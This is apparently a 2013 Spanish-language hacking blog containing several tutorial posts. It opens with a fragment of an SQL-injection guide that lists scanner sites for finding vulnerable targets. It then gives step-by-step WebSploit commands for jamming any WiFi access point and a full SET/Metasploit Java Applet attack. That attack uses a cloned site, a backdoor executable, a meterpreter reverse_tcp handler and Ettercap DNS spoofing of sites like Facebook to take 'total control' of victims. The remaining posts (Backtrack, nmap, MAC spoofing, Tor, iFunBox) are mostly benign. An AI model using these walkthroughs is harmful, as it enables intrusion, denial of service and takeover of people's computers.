El primer paso para poder llevar a cabo este ataque es comprobar que la web que queremos atacar realmente sea vulnerable para ahorrarnos tiempo y muchos intentos en vano. Estas paginas son las mejores actualmente, son gratis, y muy fáciles de usar:

http://www.be007.gigfa.com/scanner/scanner.php
http://www.sunmagazin.com/tools/hack/SQLI-Scan
http://scanner.drie88.tk
http://wolfscps.com/gscanner.php
http://localvn.biz/Tools/tools/Hack-Shop/SQLI-Scan

iFunBox | La Mejor Alternativa iTunes

2013-11-15T21:03:00.000-03:00

i-FunBox es una utilidad que te permitirá gestionar tu iPhone desde el Escritorio de tu PC tal como si fuera una unidad más, una unidad de almacenamiento multimedia.

Su entorno está pensado para que puedas localizar esos elementos multimedia que sueles guardar en tu iPhone con facilidad. Mediante una serie de accesos directos, es posible explorar las carpetas donde se guardan los vídeos, las canciones, los fondos de pantalla, los tonos, las aplicaciones e incluso los archivos del sistema.

Transferir un archivo con i-FunBox es muy sencillo. Basta con conectar tu iPhone por USB, seleccionar el archivo que quieres transferir y arrastrarlo donde quieras. Así de simple. Sin configuraciones previas ni interminables sincronizaciones.

Descarga:

http://dl.i-funbox.com/

Utilidades:

Explorar el sistema de archivos SIN JAILBREAK!

Instalar Apps y Tweaks

Permite usar tu dispositivo como dispositivo de almacenamiento USB

Conección por WiFi SSH

WiFi Jammer | Denial of Service con WebSploit

2013-11-14T19:17:00.001-03:00

Un Ataque de Denial of Service (Denegación de Servicios), es un ataque a un sistema de computadoras o red que como resultado provoca que un servicio o recurso sea inaccesible a los usuarios. Normalmente provoca la pérdida de la conexión de red por el consumo del ancho de banda de la red de la víctima. En este tutorial voy a mostrar como realizar este ataque a cualquier punto de acceso WiFi para que todos los usuarios que estén conectados se desconecte y para que nadie se pueda conectar nuevamente (durante el periodo de tiempo en el que el ataque este funcionando, no es permanente).

Requisitos:

Backtrack (Descarga)
No hace falta tener acceso a la red, solo necesitas que este a tu alcance.

Instrucciones:

Una vez en Backtrack, tenemos que comprobar que tenemos instalado WebSploit. Para ello nos dirigimos a Applications >> BackTrack >> Exploitation Tools >> Web Explotation Tolls y aca debería encontrarse WebSploit, si en tu caso es asi, continua directamente en el paso 3. De lo contrario tendremos que instalarlo.
Para instalar WebSploit, primero tendremos que descargarlo aquí. Una vez descargado extraemos el archivo en el directorio "/pentest/web/". Despues de extraerlo debemos hacer click derecho en el archivo websploit, seleccionamos "Properties" y en la ventana emergente nos dirigimos a la pestaña "Permissions" y seleccionamos la casilla "Allow executing file as program". Una vez hecho esto, solo nos queda ejecutar Websploit. Para ello, abrimos la consola/terminal de Backtrack y ejecutamos los siguientes comandos:
- cd /pentest/web/websploit
- ./websploit
Luego de ejecutar Websploit, vamos a ejecutar los siguientes comandos:

use wifi/wifi_jammer
set essid [nombre essid del wifi]
set bssid [numero bssid del wifi]
set channel [your channel number]
RUN

NOTA:

BSSID: Significa Basic Service Set Identifier y se trata de la dirección MAC (física) del Access Point al que nos conectamos. Lo podemos obtener mirando la tabla ARP si estamos conectados o mediante el comandoo "airodump-ng" para capturar el tráfico que genere.
ESSID: Significa Extended Service Set ID y es el nombre identificable de la red.
Para obtener el BSSID y el ESSID en Windows vamos a cmd y ejecutamos: netsh wlan show networks mode=bssid

Instalar Backtrack 5 Completo en tu Disco Duro (Sin Windows)

2013-11-10T23:31:00.001-03:00

¿Nunca quisiste tener Backtrack como tu Sistema Operativo Principal y aprovechar toda la potencia de tu ordenador? Instala cualquier distribución de Backtrack en tu ordenador directamente en tu disco duro como tu sistema operativo principal (sin windows) en muy pocos pasos. Certificado por el equipo de Backtrack Oficial!

NOTA: Este método de instalación es el mas sencillo y mas rapido. Una vez instalado, ten en cuenta que el sistema Backtrack reemplazara por completo a Windows o a tu sistema operativo anterior.

Requisitos:

Descargar el ISO de Backtrack original AQUÍ
Disponer de alguna forma para bootear Backtrack en nuestro ordenador desde la BIOS. La opción mas fácil es desde un PenDrive USB, aquí te mostramos como hacerlo: Como Instalar Backtrack en Memoria USB

Instrucciones:

Booteamos Backtrack desde nuestro USB como explicamos en el tutorial mas arriba y una vez booteado, tipeamos "startx" (sin comillas) para acceder a la interfaz grafica.
Una vez dentro de la interfaz grafica, nos dirigimos a escritorio y ejecutamos el archivo “install.sh”. Si no lo encontramos podemos abrir la consola y ejecutamos el comando: “ubiquity”.
A continuación nos aparecerá una ventana similar a la de arriba. Aquí lo que debemos hacer es indicar nuestra ubicación geográfica y el layout de nuestro teclado.
Ahora nos va a pedir que seleccionemos la partición donde vamos a instalar Backtrack pero como lo queremos instalar en todo el disco, le damos a "Use entire disk"
Le damos a continuar y procedemos con l instalacion. Una vez terminada, el sistema se reiniciara y cuando vuelva a arrancar, nospedira un usuario y contraseña, y para ello utilizareemos: root como usuario y toor como contraseña:
LISTO! Ahora ya tenemos Backtrack instalado completamente en nuestro ordenador.

Instalar MetaSploit en Android

2013-03-07T23:38:00.000-03:00

Como todos sabemos, MetaSploit viene por defecto instalado en Backtrack, y como instalar solo MetaSploit era bastante complicado aquí les traigo un tutorial para instalar Backtrack 5 en Android

TUTORIAL AQUÍ: Backtrack 5 en Android Tutorial

SET y MetaSploit Java Applet Attack en Backtrack Tutorial

2013-03-06T23:52:00.000-03:00

Java Applet Attack es uno de mis ataques preferidos. Es muy efectivo y discreto pero lo que mas me gusta de el es lo fácil que es llevarlo a cabo. Solo necesitas tener Backtrack y tener instalado solo 2 aplicaciones: SET y MetaSploit

Java applet Attack afecta:

Windows Systems

Linux Systems and

Mac OS X

Instrucciones:

1. Primero ejecutamos la aplicacion SET yendo a: Applications >> BackTrack >> Exploitation Tools >> Social Engineering Tools >> Social Engineering Toolkits >> SET

2. Una vez iniciado SET, elegimos la opción 2) Website Attack Vector. Para ello ponemos 2 y le damos a enter.

3. Ahora nos aparecerá otro menú como el de la imagen de abajo en el que seleccionaremos la opción 1) Java Applet Attack Method (de la misma manera que el paso anterior reemplazando el 2 por el 1)

4. A continuación aparecerá otro menú en el que seleccionaremos la opción 2) Site Cloner

5. Ahora tendremos que introducir la pagina que queremos clonar para que sea nuestra pagina infectada. Podemos introducir cualquiera por ejemplo: www.apk-hacks.blogspot.com

6. El siguiente paso consiste en elegir que Payload vamos a utilizar, en este caso vamos a seleccionar la siguiente:

7. A continuacion vamos a tener que elegir que metodo de encripcion vamos a querer. Nosotros vamos a usar 16) Backdoor Executable (BEST)

8. Lo siguiente va a ser elegir el puerto que queramos utilizar. (podemos darle directamente a enter para que SET elija el puerto)

9. Una vez seleccionado el puerto, SET iniciara MetaSploit

10. Una vez iniciado MetaSploit tendremos que ejecutar los siguientes comandos:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp (para ataques a Windows)
set payload linux/x86/shell/reverse_tcp (para ataques a Linux)
set LHOST "nuestra ip local"
set LPORT "puerto que querramos utilizar"
set ExitOnSession false
exploit -j

11. Ahora lo unico que nos queda es hacer que nuestra victima entre a nuestra pagina infectada, para eso podemos utilizar Ettercap para rediccionar cualquier pagina, por ejemplo: www.facebook.com , a nuestra pagina infectada que sera la indicada en la imagen superior. Para saber como hacerlo lee DNS Spoofing con Ettercap en Backtrack Tutorial

12. Una vez que logramos que nuestra victima entre a nuestra pagina infectada, se le solicitará en una pequeña ventana que ejecute una aplicación de Java que requiere el sitio infectado, el cual la victima desconoce, por lo tanto el %99 de las personas la ejecutara. Cuando la victima le da a ejecutar, automáticamente se conecta a el ordenador del atacante proporcionándole control total de la victima.

13. Asi se vera cuando la victima haya caído en nuestra trampa:

14. Como vimos en la imagen anterior, se creo una sesion cuando recivimos la conexion de la victima. Lo que debemos hacer ahora para tomar el control de esa sesion es ejecutar el siguiente comando:

session -i 1

Cambiar Dirección MAC en Windows y Linux Tutorial

2013-03-05T21:44:00.000-03:00

Macchanger es una aplicación muy util para cambiar nuestra dirección MAC de la placa de red. Esto se puede utilizar para muchas cosas pero la mas conocida y popular es para acceder a redes WiFi con filtro MAC.

GNU / Linux:

Lo primero que tenemos que hacer es descargar la aplicación macchanger. Para eso nos dirigimos a terminal y introducimos el siguiente comando: apt-get install macchanger
Una vez instalado, tenemos que averiguar nuestra interfaz de red, para ello ejecutamos el siguiente comando: airmon-ng

3. Aquí tendremos que buscar la interfaz que este en uso en nuestro ordenador, para ello nos fijamos cual de ellas tiene asociada nuestra ip local. En mi caso, como ven en la imagen de arriba, la mía es eth0 (si la tuya es diferente reemplaza eth0 por tu interfaz en los pasos que siguen)

4. Una vez obtenida nuestra interfaz de red, procederemos a cambiar nuestra dirección MAC. Para ello ejecutamos los siguientes comandos: (igual que en la imagen de arriba)

```
ifconfig eth0 down 
```

macchanger --mac 00:00:00:00:00:00 (introducir la MAC que queramos tener)

```
ifconfig eth0 up
```

5. Listo! Ahora, para comprobar que funciono ejecuta: ifconfig y comprueba el resultado

Windows:

Para cambiar nuestra dirección MAC en windows usaremos un programa llamado "Windows MAC Address Changer".
Una vez descargado, lo instalamos y seguimos los pasos a continuación:
Primero seleccionamos nuestra Interfaz de Red:
Le damos a "Change" y nos llevara al la siguiente pagina
Seleccione su sistema operativo (si su sistema operativo Windows no está en la lista a continuación, sólo tienes que seleccionar "Windows XP")
Ahora introducimos la dirección MAC que queramos tener y le damos a "Apply". Para que los cambios tengan efecto tenemos que reiniciar el equipo o desactivar y activar las Conecciones de Red

Aircrack, Nmap y Ettercap en iPhone, iPod, y iPad Tutorial

2013-03-04T23:39:00.000-03:00

Aircrack es una aplicación de análisis de redes encalabrinamos WiFI(Escanear Puertos con Nmap Tutorial)

Ettercap es una aplicación que convierte a nuestro ordenador como intermediario entre las peticiones de DNS y que realiza la víctima y el punto de acceso. (DNS Spoofing Tutorial).

Requisitos:

iPhone, iPod, o iPad con Jailbreak
Mobile Terminal o iSHH
Cydia instalado

Instrucciones:

Aircrack:

Primero que todo nos dirigimos a Cydia, Manage, Sources y le damos edit, luego a add, y introducimos la siguiente direccion: http://theworm.altervista.org/cydia/
Una vez instalada la repo, vamos a search, buscamos Aircrack-ng y lo instalamos.

Nmap:

Para instalar Nmap simplemente lo buscamos en Cydia y lo instalamos. (viene en una repo instalada en Cydia por defecto)
Si quieres aprender como utilizar Nmap y para que sirve visita Nmap Tutorial

TUTORIAL: Escanear Puertos con Nmap

Ettercap:

Si ya has instalado la repo que utilizamos arriba para instalar Aircrack simplemente búscalo en cydia e instalado. Si este no es tu caso, repite el paso 1. de la instalación de Aircrack.
Si quieres aprender como utilizar Ettercap y para que sirve visita DNS Spoofing con Ettercap Tutorial

TUTORIAL: DNS Spoofing con Ettercap

Instalar Ubuntu en Android con Ubuntu Installer

2013-03-03T23:36:00.001-03:00

A continuación les voy a explicar como instalar una distribución GNU / Linux, en este caso Ubuntu en un dispositivo Android.
Requisitos:

Android 2.1 o superior.
Procesador de 1Ghz (como mínimo),
Acceso Root
Busybox instalado. Si no lo tienes puedes descargar un instalador.
Kernel compatible con loop device support,
2,5 y 3,5 Gb de espacio de almacenamiento.
Ubuntu installer.

Instrucciones:

1.1. Ejecutaremos la aplicación Ubuntu Installer.

1.2. Ahora le samos a Install Guide y seleccionaremos la versión de Ubuntu que queremos instalar:

1.3. Next:

1.4. Ahora le damos a Download Boot Script y esperamos a que se descargue. A continuación le damos a Download Full Ubuntu Image y esperamos a que se complete la descarga. El ultimo es la imagen completa de Ubuntu, por lo tanto va a tardar unos minutos.

1.5. Una vez descargados los archivos anteriores le damos a Download/install VNCviewer App y a Download/install Terminal App.

1.6.Cuando ya estén descargados e instalados ambos programas cerramos Ubuntu Installer.

2. A continuación, lo que necesitamos hacer ahora es ir a la carpeta de descargas de nuestra sdcard y buscar los primeros dos archivos que descargamos anteriormente. Una vez localizados, los descomprimimos en la raíz de la sdcard. Este paso puede hacerse desde nuestro dispositivo con algún administrador de archivos o directamente desde nuestro ordenador.

3. Abrimos Terminal Emulator y ejecutamos los siguientes comandos

cd sdcard (nos dirijimos a la raiz de la sdcard)
su (obtenemos permisos de superusuario)
ls (listamos el contenido de la sdcard)

4. Después de ejecutar el comando "ls" veremos los archivos que descomprimimos en la lista como en la imagen a continuación. (el nombre del archivo con la extensión .sh puede variar, si el tuyo es diferente reemplaza el nombre de archivo ubuntuv6.sh por el tuyo en los comandos del siguiente paso)

5. Ejecutamos el comando:

sh ubuntuv6.sh

6. A continuación nos pedirá que introduzcamos la resolución de la pantalla de nuestro dispositivo. Ejemplo: 1024×600. Si es que nos pregunta de vuelta que seleccionemos entre 2 opciones, seleccionamos la primera.

7. Minimizamos Terminal Emulator y lo dejamos corriendo en segundo plano. (para eso le damos al boton Home)

8. Ahora configuramos VNCviewer como en la imagen a continuacion. La contraseña es ubuntu.

9. Para Finalizar le damos a Connect, y como resultado tendremos Ubuntu iniciándose en nuestro terminal Android después de tan solo 9 sencillos pasos.

Ubuntu en tu ordenador desde tu dispositivo:

Lo único que necesitamos para poder correr el Ubuntu que tenemos instalado en nuestro terminal Android en nuestro Ordenador, es instalar un cliente VNC como por ejemplo RealVNC y conectarnos de la misma manera y con mismos datos que utilizamos con VNCviewer en nuestro dispositivo.
Como resultado tendremos Ubuntu móvil instalado en nuestro dispositivo con la posibilidad de correrlo en cualquier ordenador!

Cualquier duda o problema comenta!

Aprende a codificar gratis en code.org!

2013-03-02T18:12:00.002-03:00

Aprende a Codificar como un profesional en Code.org !
¿No tienes idea de como programar? ¿Ni siquiera sabes de que se trata? No te preocupes! En code.org no necesitas ningún conocimiento previo para convertirte en un gran programador!
El gobierno de Estados Unidos y varias personalidades de la comunidad tecnológica, como Bill Gates, y Mark Zuckerberg, han lanzado esta nueva campaña inspirando a alumnos y profesores de todo el mundo para aprender y enseñar a codificar en las escuelas y universidades.

Instalar Metasploit en iPhone, iPod, iPad Tutorial

2013-03-02T03:21:00.000-03:00

Para poder instalar "Metasploit" en nuestro dispositivo Apple vamos a necesitar Jailbreak y una conexión a Internet ya que vamos a necesitar descargar un par de aplicaciones

Funciona con todos los iPods, iPhones y iPads.

Instrucciones:

1. Abre Cydia. Busque e instale los siguientes paquetes:

OpenSSH (para obtener una consola de comandos).
APT 0.7 Strict (para instalar software desde consola de comandos).

2. Abre App Store. Busque e instale iSSH (cliente SSH , el cual usaremos para poder instalar Metasploit mediante una conexión OpenSSH)

3. Conectese al iPhone a través de SSH. Usando el cliente iSSH, accese con la cuenta root y la contraseña alpine.

En iSSH vamos a Add Configuration y llenamos las opciones

Host: IP de tu dispositivo (local)
Port: 22
Login: root
Password: alpine

A continuación le damos a Save y volveremos a la pantalla de inicio de iSSH, en donde seleccionaremos la conexión que acabamos de crear y se abrirá una consola.

4. En la consola, ejecute los siguientes comandos:

NOTA: Do you want to continue [Y/n]?, le damos que si a todo ejecutando el comando "Y".

apt-get update
apt-get dist-upgrade
apt-get install wget subversion

wget http://ininjas.com/repo/debs/iconv_1.14-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/zlib_1.2.3-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/ruby_1.9.2-p180-1-1_iphoneos-arm.deb

dpkg -i iconv_1.14-1_iphoneos-arm.deb
dpkg -i zlib_1.2.3-1_iphoneos-arm.deb
dpkg -i ruby_1.9.2-p180-1-1_iphoneos-arm.deb

cd /private/var
svn co https://www.metasploit.com/svn/framework3/trunk/ msf3 (puede tardar bastante)

5. Listo! Para ejecutar Metasploit ejecutamos el comando:

cd /private/var/msf3
ruby msfconsole

Si todo funciona bien, después de un par de minutos deberá aparecer la siguiente pantalla:

Conviértete en un nodo de la red Tor

2013-02-28T18:50:00.000-03:00

Participa en la red Tor convirtiéndote en uno de los nodos intermedios: Instrucciones para ser un relay de Tor. Puedes usar el programa Vidalia para configurar tu ordenador como relay (nodo intermediario de TOR), ayudando a mejorar la calidad y velocidad de la red.

Si tienes problemas con la configuracion de los puertos visita: Como abrir los puertos de tu Router (todos los modelos!)

Además ponen a disposición la herramienta (Portcheck) que te ayuda a comprobar y asegurarte de que realmente has configurado bien el router. Te servirá para saber seguro si la configuración es correcta y desde la red Tor van a poder conectar a tu nodo.

Como abrir los puertos de tu Router (Todos los modelos!)

2013-02-27T21:36:00.000-03:00

Port Forward es una muy completa y útil pagina en la cual podemos encontrar los manuales para hacer Port Forwarding a nuestro Router y así poder abrir los puertos que deseemos. Esta web contiene una colección de casi todos los Routers en el mercado internacional y una explicación para poder abrir tus puertos en cada uno de ellos!

Instrucciones:

Nos dirigimos a portforward.com y seleccionamos la marca de nuestro Router.
Seleccionamos el modelo de este.
A continuación veremos una larga lista de aplicaciones, si la razón de que tengas que abrir tus puertos se deba al funcionamiento de un programa o juego, selecciona el indicado para tu caso. Si tu programa no esta en la lista o tienes otros fines, solo entra a cualquiera de la lista ya que los pasos van a ser siempre los mismos, lo que si, no te dirá que puertos tienes que abrir. Eso ya depende de ti.
Listo! Siguiendo esos pasos ya no deberías tener problemas con tus puertos!

Cualquier duda... Comenta!

Escanear puertos con Nmap Tutorial

2013-02-27T20:03:00.000-03:00

En definitiva un escáner de puertos muy potente.

El objetivo seria poder determinar si un servidor o máquina está en uso y que puertos son vulnerables si es que los hay.

Conceptos Previos:

¿Que es un puerto?:
Un puerto es una zona en la que dos ordenadores (hosts) intercambian información
¿Que es un servicio?:
Un servicio es el tipo de información que se intercambia con una utilidad determinada como ssh o telnet.
¿Que es un Firewall?:
Un firewall acepta o no el trafico entrante o saliente de un ordenador.

Instalación:

En Backtrack, Nmap viene ya instalado. En caso de que estés usando otra distribución de linux, solo ejecuta el comando: "apt-get install nmap"

Aplicación Gráfica con "NMAPFE":

Para instalar la aplicación gráfica, ejecuta el comando: "apt-get install nmapfe"

Uso de Nmap con comandos:

> Escaneando una dirección ip: nmap 172.26.0.3

> Escaneando rango de puertos de una ip: nmap -p 1-80 172.26.0.3 (puertos del 1 al 80)

> Escaneando un rango de ips para un puerto determinado: nmap -p 139 172.26.0.1-10
(puerto 139 en las ips de 172.26.0.1 a 172.26.0.10)

>Como saber el sistema operativo que esta instalado en un host: nmap -O 172.26.0.6

Cualquier duda... Comenta!

Como instalar Metasploit en Windows Tutorial

2013-02-26T15:53:00.001-03:00

Metasploit Es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.

Requerimientos para instalar Metasploit en Windows (7, Vista, XP):

Descarga Metasploit para Windows

Instalación:

Primero que todo debemos desactivar nuestro Firewall y nuestro Antivirus temporalmente para llevar a cabo la instalación.
A continuación ejecuta el instalador de Metasploit como administrador.

3. Damos en Next, a continuación nos pedirá que aceptemos los términos y condiciones.

4. Seleccionamos los puertos que queramos que use Metasploit (asegúrate de tener ese puerto abierto) y el nombre de nuestro servidor (puede ser cualquier nombre)

5. Ahora lo único que queda es darle Aceptar para que Metasploit comience a instalarse.

6. Una vez instalado vamos a inicio y ejecutamos Metasploit Console. Y Listo! ya deberías tener Metasploit Framework instalado en Windows! Suele tardar unos minutos en arrancar... no te preocupes, es normal.

Ante cualquier duda no dudes en comentar!